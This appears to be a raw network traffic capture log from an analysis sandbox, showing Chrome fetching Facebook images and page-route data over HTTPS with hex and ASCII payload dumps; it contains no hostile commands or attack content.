2024-04-11 20:35:33 UTC	4064	IN	Data Raw: c1 3e c0 fd 39 bc ea 06 e7 54 80 bb d6 55 c1 e2 d9 0b a8 c3 02 02 cb cd 43 06 49 67 2d e2 59 89 99 1a 1f a9 de 3f c9 10 69 a4 42 96 ba 30 d9 bf 65 1c 30 2b ca 02 ac 40 15 4e e0 0b b0 d1 86 7f c5 12 c2 a5 ff 00 ac ca 54 c9 ef 2b b8 40 5a 56 d7 1c fb c6 f1 b3 5a 68 3f 50 97 20 b9 e1 60 40 2f a3 20 ea 84 c4 b4 be 89 bd c1 4d 70 4c a2 e6 9c 73 52 a4 68 13 55 72 b2 ba 4b 6e 39 48 39 c5 7e d3 cb d3 92 4a f1 32 06 0b db 04 88 19 6b 3e 4f 70 4d fc 66 20 fd 48 ad 2f 3e 48 ff 00 80 4d 04 3b aa 5e b1 49 31 6b 2a c6 e3 a7 2e 45 92 84 5d f2 1c 43 3a b5 e4 3b c1 f7 96 8a ec b5 98 90 37 91 ed 05 18 12 1f 30 8d 9a 22 e3 80 e4 10 ee bf 2f 6f 98 64 20 e5 2b 53 ce dd c9 85 f9 43 d8 15 2d 18 85 7d e8 03 00 8e 7c c6 a4 b7 95 8c 4a 1b 58 17 71 96 ac bb c2 bc 47 bd 91 9f cc 13 Data Ascii: >9TUCIg-Y?iB0e0+@NT+@ZVZh?P `@/ MpLsRhUrKn9H9~J2k>OpMf H/>HM;^I1k*.E]C:;70"/od +SC-}\|JXqG
2024-04-11 20:35:33 UTC	803	IN	Data Raw: d2 19 c5 77 32 77 48 b0 08 4c af 2a 29 d7 8c 93 29 96 94 ac 03 76 94 8f 8c 07 90 89 89 3d 13 33 75 31 90 e2 4d be f2 a7 5f 58 a6 8e d2 27 cc 69 c9 d2 ce 84 62 94 a1 20 10 94 e4 42 e3 58 65 05 12 19 38 2d 93 76 31 e3 16 53 66 9c d7 a5 9f 27 ce 4a 95 8a 9a 3e 5a 72 34 f6 ad 32 65 b7 7e 1c 63 97 12 53 40 3a e7 5d e2 6b 34 c0 24 9f 41 fd c3 2a 23 7a 7c 1b 15 04 6f 02 9c 2e c4 b8 a4 f9 c2 8c 2d 80 f2 a3 f5 8d 86 a0 4c ce 3f b1 ad 69 d9 3c 04 d6 f9 cb 54 b1 96 b2 53 a5 b5 d7 ce 13 12 00 94 f0 fc 33 77 30 47 c3 15 eb 48 c8 10 5e 19 db e0 c4 b2 af 51 41 6d b2 1e b9 c4 15 42 80 2c 40 0d 90 a9 0e 17 6c 1c ef b1 ee 4f 9c 58 a6 72 dc ec 2a 08 ec 49 57 d6 48 50 53 75 9c 57 58 b3 5c 11 16 74 72 4f 8a c5 60 5e cd 07 7e 0f bc 22 09 52 22 47 26 9f 75 8a e7 b1 1f 92 3f c3 Data Ascii: w2wHL))v=3u1M_X'ib BXe8-v1Sf'J>Zr42e~cS@:]k4$A#z\|o.-L?i<TS3w0GH^QAmB,@lOXr*IWHPSuWX\trO`^~"R"G&u?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	49933	31.13.71.7	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:32 UTC	843	OUT	GET /v/t39.30808-6/434402861_977701610421459_6880091748567335012_n.jpg?stp=c71.0.154.154a_dst-jpg_p296x100&_nc_cat=108&ccb=1-7&_nc_sid=5f2048&_nc_ohc=kXLmUCdhYxsAb4iEjaH&_nc_ht=scontent-lga3-1.xx&oh=00_AfARRBcvMDDBFsm5yvE56fykVe6lS6PvAygGzPU5Y-GOYA&oe=661E1968 HTTP/1.1 Host: scontent-lga3-1.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:33 UTC	785	IN	HTTP/1.1 200 OK x-storage-error-category: dfs:none;sc_p:200:WSE_NOT_SET Last-Modified: Tue, 02 Apr 2024 13:25:07 GMT X-Needle-Checksum: 3731260742 thrift_fmhk: GBCH7XTmxM1JsG0vO/4VBDRZFfDr4Z0EvFUAAAA= Content-Type: image/jpeg content-digest: adler32=3252946279 cross-origin-resource-policy: cross-origin timing-allow-origin: * Access-Control-Allow-Origin: * Cache-Control: max-age=1209600, no-transform Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:33 GMT X-FB-Edge-Debug: 98kk_pQyLzY4X14A6fU2eLWYZDrlovMpzyMc-1gmMsueUTjlSikKhDfmT97zzcLA7iI2sfgLxYyiYXO6JUFuIbb-vl64nDIt-Ffhun8m8qU X-FB-Connection-Quality: GOOD; q=0.7, rtt=87, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=60, ullat=1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 4937
2024-04-11 20:35:33 UTC	715	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e1 00 6c 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 01 82 98 00 02 00 00 00 4a 00 00 00 1a 00 00 00 00 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 35 20 4c 65 6d 61 75 20 53 74 75 64 69 6f 2f 53 68 75 74 74 65 72 73 74 6f 63 6b 2e 20 20 4e 6f 20 75 73 65 20 77 69 74 68 6f 75 74 20 70 65 72 6d 69 73 73 69 6f 6e 2e 00 ff e1 01 a6 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 58 4d 50 20 43 6f 72 65 20 34 2e 34 2e 30 2d 45 78 69 76 32 22 3e 0a 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 Data Ascii: JFIFlExifMM*JCopyright (c) 2015 Lemau Studio/Shutterstock. No use without permission.http://ns.adobe.com/xap/1.0/<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="htt
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 30 30 30 33 34 30 37 30 30 30 30 39 63 30 37 30 30 30 30 66 63 30 38 30 30 30 30 62 38 30 62 30 30 30 30 33 30 30 63 30 30 30 30 39 31 30 63 30 30 30 30 30 62 30 64 30 30 30 30 34 39 31 33 30 30 30 30 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 ff c2 00 11 08 00 9a 00 9a 03 01 22 00 02 11 01 03 11 01 ff c4 00 1b 00 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 01 02 00 03 05 04 06 07 ff c4 Data Ascii: 000340700009c070000fc080000b80b0000300c0000910c00000b0d000049130000C%# , #&')*)-0-(0%()(C((((((((((((((((((((((((((((((((((((((((((((((((((("
2024-04-11 20:35:33 UTC	1789	IN	Data Raw: 11 94 64 c8 53 36 56 cf 4f 09 34 ca e7 67 dd 72 e7 a1 56 6a e6 c2 9f 25 65 85 85 9e 0b 76 91 c1 65 95 95 72 85 d6 7e 5e 3b 11 ac ea ff c4 00 27 10 00 02 02 01 04 02 02 02 02 03 00 00 00 00 00 00 00 01 11 21 31 10 41 51 61 71 81 20 a1 91 b1 30 c1 40 f0 f1 ff da 00 08 01 01 00 01 3f 21 99 c1 24 f4 6e 4f 42 30 7d 09 dc 2d 31 e4 fb 0c db b2 6f d6 9b b3 6b d2 3b 0a 91 1b 10 d2 37 33 81 3d 8f d0 99 c0 54 da 2b 73 a1 bd 0e 1e 06 ab 83 02 27 ac 69 0f fd 64 3e db 0f 14 51 d9 29 37 de e7 7a 44 31 5a a5 02 56 36 96 76 16 67 44 1b 56 47 8d 37 f5 a7 81 e0 92 31 3f 41 9f 67 05 90 41 81 6e 94 59 06 07 e0 94 e8 c3 13 3b 30 28 7a 1e 89 47 51 43 98 fd 92 b9 2f 49 51 43 78 2a 36 e9 e4 7b 18 a8 66 3c 65 6c 4e c7 62 c9 13 d0 b3 85 63 25 a6 40 c4 ec 50 d3 1d 10 2f a1 e0 67 0d Data Ascii: dS6VO4grVj%ever~^;'!1AQaq 0@?!$nOB0}-1ok;73=T+s'id>Q)7zD1ZV6vgDVG71?AgAnY;0(zGQC/IQCx*6{f<elNbc%@P/g
2024-04-11 20:35:33 UTC	933	IN	Data Raw: 37 44 47 52 ee 20 0e 20 54 42 e0 1a fc 2b bb d7 cc a8 18 35 94 71 33 1a 2f 38 33 52 8b 96 ea 76 4b a5 fa 20 d4 71 63 73 e6 12 f1 3d 4a 9c 7e 2b b8 97 2b 82 24 af 30 2b 17 69 fb 89 6c e2 a5 69 77 1c b0 5f 18 35 08 bf 0a 7f 90 ea 6b 99 b7 e0 23 45 d1 6d ac 4a a8 2d da 03 6c a2 e6 00 3c 28 80 e6 ae e3 86 a8 60 5a cb 62 cd 0e 47 e8 23 4b 5a 5f fd bf 67 68 21 50 bd 05 e8 5f 78 11 c7 33 89 16 d8 b5 3b 12 c4 c0 c7 74 4d 9c 95 63 ba d5 97 61 08 b8 29 a4 fb c9 f9 a9 96 1a 35 b7 04 a0 c2 eb 0d e0 86 ed 9f 17 8f 70 f0 dc 64 3b 55 fb 83 b8 7f 24 c7 e2 c1 7c b9 77 02 55 f0 0c 39 51 5e 5a 05 45 d9 ed 32 f9 94 ee 25 c4 78 f8 83 f1 50 08 29 88 bd e8 f0 b6 1a 29 e1 b0 31 d6 15 93 cf 35 16 71 a5 84 e6 38 26 62 85 2d 3f 73 62 5a ac 6c fd c6 17 cb 5f 71 63 da 10 b4 ed fb 61 Data Ascii: 7DGR TB+5q3/83RvK qcs=J~++$0+iliw_5k#EmJ-l<(`ZbG#KZ_gh!P_x3;tMca)5pd;U$\|wU9Q^ZE2%xP))15q8&b-?sbZl_qca

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	49940	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:32 UTC	843	OUT	GET /v/t39.30808-6/434158334_977196440471976_8409536769003539760_n.jpg?stp=c0.18.160.160a_dst-jpg_p160x160&_nc_cat=109&ccb=1-7&_nc_sid=5f2048&_nc_ohc=F5QkQOJQfhkAb6D7Riq&_nc_ht=scontent-lga3-2.xx&oh=00_AfC1SaC6emiNkyNgQpAp-a0Z1byMhjig28kkstzT0Gimsw&oe=661E0829 HTTP/1.1 Host: scontent-lga3-2.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:33 UTC	785	IN	HTTP/1.1 200 OK x-storage-error-category: dfs:none;sc_p:200:WSE_NOT_SET Last-Modified: Mon, 01 Apr 2024 18:24:21 GMT X-Needle-Checksum: 543654369 thrift_fmhk: GBAzSAZsiiSFJT+tKFDxHqsLFfDr4Z0EvFUAAAA= Content-Type: image/jpeg content-digest: adler32=1147673940 cross-origin-resource-policy: cross-origin timing-allow-origin: * Access-Control-Allow-Origin: * Cache-Control: max-age=1209600, no-transform Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:33 GMT X-FB-Edge-Debug: 6kE8TJb_3F_koWQUq-0efqTQ5dCrlUhr2J32sDRbR2koEpvX8eA5grKochIma6AUAOmH0oREKX7T4gPSnHIymaLOgX6XQrgW54tjENf2MAY X-FB-Connection-Quality: GOOD; q=0.7, rtt=87, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=136, ullat=0 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 9052
2024-04-11 20:35:33 UTC	715	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff ed 00 84 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 00 68 1c 02 28 00 62 46 42 4d 44 30 61 30 30 30 61 36 66 30 31 30 30 30 30 36 65 30 33 30 30 30 30 61 33 30 37 30 30 30 30 35 37 30 38 30 30 30 30 33 37 30 39 30 30 30 30 64 66 30 65 30 30 30 30 63 36 31 35 30 30 30 30 34 33 31 36 30 30 30 30 31 30 31 37 30 30 30 30 66 31 31 37 30 30 30 30 35 63 32 33 30 30 30 30 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 Data Ascii: JFIFPhotoshop 3.08BIMh(bFBMD0a000a6f0100006e030000a30700005708000037090000df0e0000c61500004316000010170000f11700005c230000C%# , #&')*)-0-(0%()(C((((((((((((((
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: d1 7c ff 00 b9 96 af 05 97 7c a9 73 d9 1a fd f0 e6 3d b2 3c d9 3d e2 77 67 30 cb 68 3a 8a f5 71 f5 cb 93 a0 8d 04 c8 0a 18 9c c2 41 6d 4e 98 f4 79 aa da 95 3d 38 1a 35 72 c5 32 db fc 37 48 e3 7e 7a ca f2 5c ec ab 94 1b b0 0f a7 1f 55 fb ce fc 5d 39 f1 d6 62 d3 3e 70 9b 52 f1 71 f1 69 4a 00 d8 bd 13 3e 03 7e 7f 3d a1 43 7d a4 42 fd fd 8b 19 9a 11 19 69 bf 59 6e 8f ff c4 00 27 10 00 02 02 02 02 02 02 02 03 01 01 01 00 00 00 00 02 03 01 04 00 11 05 12 13 21 14 22 31 32 10 15 23 34 24 41 ff da 00 08 01 01 00 01 05 02 ae 32 33 33 d4 99 58 2c 65 7d 00 8b 63 e4 bb a4 ba cf fa cb 64 57 81 60 0a 65 80 58 31 ea 3d e7 22 1e 2c 05 c9 4d bb f2 58 94 6b 04 77 82 bd 41 37 58 f7 02 f1 47 25 1d f6 8a c3 8e 5f 5b f6 8d 6a e4 05 e0 56 8a c9 33 10 8f 32 aa 8f 61 32 d4 86 a4 Data Ascii: \|\|s=<=wg0h:qAmNy=85r27H~z\U]9b>pRqiJ>~=C}BiYn'!"12#4$A233X,e}cdW`eX1=",MXkwA7XG%_[jV32a2
2024-04-11 20:35:33 UTC	1789	IN	Data Raw: 19 30 64 6f b0 bd 34 ff 00 67 e4 66 c5 98 3b 41 23 2c a8 c3 2a 97 61 4a 46 5f 25 2f b6 7c 4f 6f 23 db b1 7a 7f df 1f d8 c4 9c 65 46 49 b5 1b 46 d6 ee 44 61 19 23 26 1f f2 ba 23 26 dd 18 e4 b5 22 fe 42 f3 44 fb 32 19 5c 48 e7 4f 99 3a 46 38 d2 23 e0 81 27 52 46 55 cf ff c4 00 35 10 00 01 03 02 03 07 02 05 03 03 05 00 00 00 00 00 01 00 02 11 03 21 12 22 31 10 13 32 41 51 61 71 04 91 23 33 42 81 a1 20 52 62 b1 d1 e1 14 72 82 92 c1 ff da 00 08 01 01 00 06 3f 02 2d 7e b8 a1 36 34 25 66 2e 69 c5 00 82 a9 b8 dd d8 c8 33 d5 56 8f af 09 5e 9b 14 bd b8 c9 32 7b 2a 6f c5 66 1c ee f3 6b 22 e6 08 a6 5b 81 de 79 2e 36 69 ac a3 9e 7b 68 86 23 2b c2 3b a7 0d e5 5e 26 75 fe 48 d5 ae 6f cc ad d7 a5 ff 00 b2 97 dc ec 92 b2 7b a9 a8 eb fe 55 17 f2 7b 07 be 88 b8 9b 36 e7 dd Data Ascii: 0do4gf;A#,aJF_%/\|Oo#zeFIFDa#&#&"BD2\HO:F8#'RFU5!"12AQaq#3B Rbr?-~64%f.i3V^2{ofk"[y.6i{h#+;^&uHo{U{6
2024-04-11 20:35:33 UTC	4064	IN	Data Raw: 9c a4 ac e9 d7 57 ee 0b ea 1e b1 1d cc 35 3f 14 d1 5e 87 e8 97 7e e2 46 52 a9 b5 cc a5 53 eb a4 7d 4b 59 b1 cf a8 d3 fb f5 89 41 4a 55 f7 80 5a 6f bc 2c bc fb c2 25 2a b3 23 3d 8f 62 2c b6 68 f7 67 88 84 74 5b e1 fc 22 21 85 9b 01 df 8e a8 ca e3 b7 b1 77 3a 36 4a d1 65 4d ba ae b2 9c bd 02 70 7e dd f1 08 a4 dc 3e 53 23 d3 d0 45 a5 14 4c 3c ba 52 fb c0 4f 3f b9 a8 0f e1 da 22 55 4e 56 5d 96 2d 4c cf d0 d7 ac fe e0 2d ad bb ea 87 ea 62 98 12 d7 2b b7 67 c4 cf d4 b8 b4 0c 59 4e 6a 13 81 ac d3 08 01 bf 33 01 67 74 f0 59 fd d6 07 06 37 74 ac fb 48 6d c0 5d c7 be 88 0b d2 ba be 20 ea b3 6a 15 6f d3 99 6d fc 8d 2c 28 7d 6f 68 b5 62 f2 b9 7f c6 c5 a9 51 3c 6a 0d fb 41 9e 1b 34 d5 67 de 30 d2 84 b0 e4 3e 55 32 ce d8 5b d3 f7 28 e2 c3 27 0d d3 e6 14 09 65 75 38 3d Data Ascii: W5?^~FRS}KYAJUZo,%*#=b,hgt["!w:6JeMp~>S#EL<RO?"UNV]-L-b+gYNj3gtY7tHm] jom,(}ohbQ<jA4g0>U2[('eu8=
2024-04-11 20:35:33 UTC	984	IN	Data Raw: 00 06 70 84 36 1a 8a d8 b7 c6 1c 0f 18 0a 84 7a 27 1f 13 bc 3c 61 08 05 60 73 e7 09 42 78 8f 0c 31 2c 9e c8 c1 50 13 70 00 f1 87 40 6e 49 1f 59 09 07 68 4d 78 c2 09 fb 21 84 8c 0b e2 14 95 d8 3f 67 8c 2c 27 61 88 8a 20 2b f0 e3 c7 09 10 4c 32 08 8f 2e 0a 32 a7 48 88 57 81 ef 22 f3 e3 82 5d 10 3b bc 10 0e e0 d0 9c a6 a1 a6 82 7c f7 88 92 a8 46 d4 d7 e8 62 8d 17 47 74 0e d9 7a c6 a4 16 61 f0 5c 86 03 07 dd 03 18 e3 af 94 e7 04 ba 23 28 d8 74 ac d8 2e d1 3e 7f 71 69 8e 01 62 13 be f2 aa 1e 6b 94 7f ee 00 9a 08 20 df ae f0 c6 93 32 b4 15 d7 06 40 80 6c ec a2 b0 5d 81 16 91 21 be a3 23 39 48 6b 65 17 a4 93 e7 02 4b 28 40 34 dd 06 14 ac 91 f3 00 44 c6 84 98 49 89 26 f2 9e a5 1d a9 08 4d a5 0c 8b 19 53 40 6c e5 8d ed 5d c9 86 02 04 99 39 c5 09 25 30 dc b4 3c 2f Data Ascii: p6z'<a`sBx1,Pp@nIYhMx!?g,'a +L2.2HW"];\|FbGtza\#(t.>qibk 2@l]!#9HkeK(@4DI&MS@l]9%0</

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	49944	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:32 UTC	950	OUT	POST /ajax/bulk-route-definitions/ HTTP/1.1 Host: www.facebook.com Connection: keep-alive Content-Length: 2043 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 viewport-width: 1280 Content-Type: application/x-www-form-urlencoded X-FB-LSD: AVqJt7mBmTM sec-ch-ua-platform-version: "10.0.0" X-ASBD-ID: 129477 dpr: 1 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-model: "" sec-ch-prefers-color-scheme: light sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.facebook.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.facebook.com/bfjfinancial/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:32 UTC	2043	OUT	Data Raw: 72 6f 75 74 65 5f 75 72 6c 73 5b 30 5d 3d 25 32 46 62 66 6a 66 69 6e 61 6e 63 69 61 6c 25 32 46 70 68 6f 74 6f 73 26 72 6f 75 74 65 5f 75 72 6c 73 5b 31 5d 3d 25 32 46 70 68 6f 74 6f 25 32 46 25 33 46 66 62 69 64 25 33 44 32 38 34 37 31 32 33 34 39 37 32 30 33 39 32 25 32 36 73 65 74 25 33 44 65 63 6e 66 2e 31 30 30 30 34 35 34 34 38 38 37 38 35 38 30 26 72 6f 75 74 65 5f 75 72 6c 73 5b 32 5d 3d 25 32 46 70 68 6f 74 6f 25 32 46 25 33 46 66 62 69 64 25 33 44 32 36 35 30 34 35 37 35 31 36 38 37 30 35 32 25 32 36 73 65 74 25 33 44 65 63 6e 66 2e 31 30 30 30 34 35 34 34 38 38 37 38 35 38 30 26 72 6f 75 74 65 5f 75 72 6c 73 5b 33 5d 3d 25 32 46 70 68 6f 74 6f 25 32 46 25 33 46 66 62 69 64 25 33 44 39 38 33 33 38 35 36 37 36 35 31 39 37 31 39 25 32 36 73 65 74 Data Ascii: route_urls[0]=%2Fbfjfinancial%2Fphotos&route_urls[1]=%2Fphoto%2F%3Ffbid%3D284712349720392%26set%3Decnf.100045448878580&route_urls[2]=%2Fphoto%2F%3Ffbid%3D265045751687052%26set%3Decnf.100045448878580&route_urls[3]=%2Fphoto%2F%3Ffbid%3D983385676519719%26set
2024-04-11 20:35:33 UTC	942	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/comet_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/comet_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-11 20:35:33 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 20:35:33 UTC	1747	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri
2024-04-11 20:35:33 UTC	6	IN	Data Raw: 65 39 37 36 0d 0a Data Ascii: e976
2024-04-11 20:35:33 UTC	1500	IN	Data Raw: 66 6f 72 20 28 3b 3b 29 3b 7b 22 70 61 79 6c 6f 61 64 22 3a 7b 22 70 61 79 6c 6f 61 64 73 22 3a 7b 22 2f 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2f 70 68 6f 74 6f 73 22 3a 7b 22 65 72 72 6f 72 22 3a 66 61 6c 73 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 74 79 70 65 22 3a 22 72 6f 75 74 65 5f 64 65 66 69 6e 69 74 69 6f 6e 22 2c 22 65 78 70 6f 72 74 73 22 3a 7b 22 61 63 74 6f 72 49 44 22 3a 22 30 22 2c 22 72 6f 6f 74 56 69 65 77 22 3a 7b 22 61 6c 6c 52 65 73 6f 75 72 63 65 73 22 3a 5b 7b 22 5f 5f 6a 73 72 22 3a 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 43 6f 6c 6c 65 63 74 69 6f 6e 52 6f 6f 74 2e 72 65 61 63 74 22 7d 2c 7b 22 5f 5f 6a 73 72 22 3a 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 43 6f 6c 6c 65 63 74 69 6f 6e 52 6f 75 74 65 52 6f 6f 74 2e 65 6e 74 72 79 70 6f 69 Data Ascii: for (;;);{"payload":{"payloads":{"/bfjfinancial/photos":{"error":false,"result":{"type":"route_definition","exports":{"actorID":"0","rootView":{"allResources":[{"__jsr":"ProfileCometCollectionRoot.react"},{"__jsr":"ProfileCometCollectionRouteRoot.entrypoi
